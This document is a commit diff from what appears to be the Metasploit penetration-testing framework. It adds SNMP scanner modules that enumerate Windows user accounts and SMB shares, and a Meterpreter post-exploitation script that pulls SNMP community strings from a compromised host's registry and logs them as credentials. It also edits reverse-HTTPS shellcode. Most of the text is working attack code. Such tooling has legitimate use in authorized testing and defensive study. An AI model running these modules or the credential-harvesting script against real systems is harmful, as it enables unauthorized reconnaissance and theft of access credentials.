Two new SNMP community enumeration tools for Windows by tebo (local account list and SMB shares). Addition of a Meterpreter script for snagging the SNMP community from the registry

git-svn-id: file:///home/svn/framework3/trunk@11410 4d416f70-5f16-0410-b530-b9f4589650da

external/source/shellcode/windows/x86/src/block/block_reverse_https.asm

@@ -27,7 +27,7 @@ internetopen:
   push 0xA779563A        ; hash( "wininet.dll", "InternetOpenA" )
   call ebp
 
-  jmp dbl_get_server_host
+  jmp short dbl_get_server_host
 
 internetconnect:
   pop ebx                ; Save the hostname pointer

modules/auxiliary/scanner/snmp/snmp_enumshares.rb

@@ -0,0 +1,73 @@
+##
+# $Id$
+##
+
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/framework/
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Auxiliary
+
+	include Msf::Exploit::Remote::SNMPClient
+	include Msf::Auxiliary::Report
+	include Msf::Auxiliary::Scanner
+
+	def initialize
+		super(
+			'Name'        => 'SNMP Windows SMB Share Enumeration',
+			'Version'     => '$Revision$',
+			'Description' => "This module will use LanManager OID values to enumerate SMB shares on a Windows system via SNMP",
+			'Author'      => ['tebo[at]attackresearch.com'],
+			'License'     => MSF_LICENSE
+		)
+
+	end
+
+	def run_host(ip)
+		begin
+			snmp = connect_snmp
+
+			share_tbl = ["1.3.6.1.4.1.77.1.2.27.1.1",
+						"1.3.6.1.4.1.77.1.2.27.1.2",
+						"1.3.6.1.4.1.77.1.2.27.1.3"]
+
+			if snmp.get_value('sysDescr.0') =~ /Windows/
+
+				@shares = []
+				snmp.walk(share_tbl) do |entry|
+					@shares << entry.collect{|x|x.value}
+				end
+			end
+
+			disconnect_snmp
+
+			if not @shares.empty?
+				print_good("#{ip} #{@shares.map{|x| "\n\t#{x[0]} - #{x[2]} (#{x[1]})" }.join}") #"
+				report_note(
+					:host => ip,
+					:proto => 'snmp',
+					:port => datastore['RPORT'],
+					:sname => 'smb',
+					:type => 'smb.shares',
+					:data => { :shares => @shares },
+					:update => :unique_data
+				)
+			end
+
+		rescue ::SNMP::UnsupportedVersion
+		rescue ::SNMP::RequestTimeout
+		rescue ::Interrupt
+			raise $!
+		rescue ::Exception => e
+			print_error("Unknown error: #{e.class} #{e}")
+		end
+
+	end
+
+end
+

modules/auxiliary/scanner/snmp/snmp_enumusers.rb

@@ -0,0 +1,71 @@
+##
+# $Id$
+##
+
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/framework/
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Auxiliary
+
+	include Msf::Exploit::Remote::SNMPClient
+	include Msf::Auxiliary::Report
+	include Msf::Auxiliary::Scanner
+
+	def initialize
+		super(
+			'Name'        => 'SNMP Windows Username Enumeration',
+			'Version'     => '$Revision$',
+			'Description' => "This module will use LanManager OID values to enumerate local user accounts on a Windows system via SNMP",
+			'Author'      => ['tebo[at]attackresearch.com'],
+			'License'     => MSF_LICENSE
+		)
+
+	end
+
+	def run_host(ip)
+		begin
+			snmp = connect_snmp
+
+			if snmp.get_value('sysDescr.0') =~ /Windows/
+
+				@users = []
+				snmp.walk("1.3.6.1.4.1.77.1.2.25") do |row|
+					row.each { |val| @users << val.value.to_s }
+				end
+
+				print_good("#{ip} Found Users: #{@users.sort.join(", ")} ")
+
+			end
+
+			disconnect_snmp
+
+			@users.each do |user|
+				report_note(
+					:host => rhost,
+					:port => datastore['RPORT'],
+					:proto => 'snmp',
+					:sname => 'smb',
+					:update => :unique_data,
+					:type => 'smb.username',
+					:data => user
+				)
+			end
+
+		rescue ::SNMP::UnsupportedVersion
+		rescue ::SNMP::RequestTimeout
+		rescue ::Interrupt
+			raise $!
+		rescue ::Exception => e
+			print_error("Unknown error: #{e.class} #{e}")
+		end
+
+	end
+
+end
+

scripts/meterpreter/get_valid_community.rb

@@ -0,0 +1,57 @@
+#copied getvncpw - thanks grutz/carlos
+
+session = client
+
+@@exec_opts = Rex::Parser::Arguments.new(
+	"-h" => [ false, "Help menu."]
+)
+
+def usage()
+	print("\nPull the SNMP community string from a Windows Meterpreter session\n\n")
+	completed
+end
+
+def get_community(session)
+	key = "HKLM\\System\\CurrentControlSet\\Services\\SNMP\\Parameters\\ValidCommunities"	
+	root_key, base_key = session.sys.registry.splitkey(key)
+	open_key = session.sys.registry.open_key(root_key,base_key,KEY_READ)
+	begin
+		# oddly enough this does not return the data field which indicates ro/rw
+		return open_key.enum_value.collect {|x| x.name}
+	rescue
+		# no registry key found or other error
+		return nil
+	end
+end
+
+@@exec_opts.parse(args) { |opt, idx, val|
+	case opt
+	when "-h"
+		usage
+	end
+}
+
+if client.platform =~ /win32|win64/
+	print_status("Searching for community strings...")
+	strs = get_community(session)
+	if strs	
+		strs.each do |str|
+			print_good("FOUND: #{str}")
+			@client.framework.db.report_auth_info(
+				:host	=> client.sock.peerhost,
+				:port	=> 161,
+				:proto	=> 'udp',
+				:sname	=> 'snmp',
+				:user	=> '',
+				:pass	=> str,
+				:type	=> "snmp.community",
+				:duplicate_ok	=> true
+			)
+		end		
+	else
+		print_status("Not found")
+	end
+else
+	print_error("This version of Meterpreter is not supported with this Script!")
+	raise Rex::Script::Completed
+end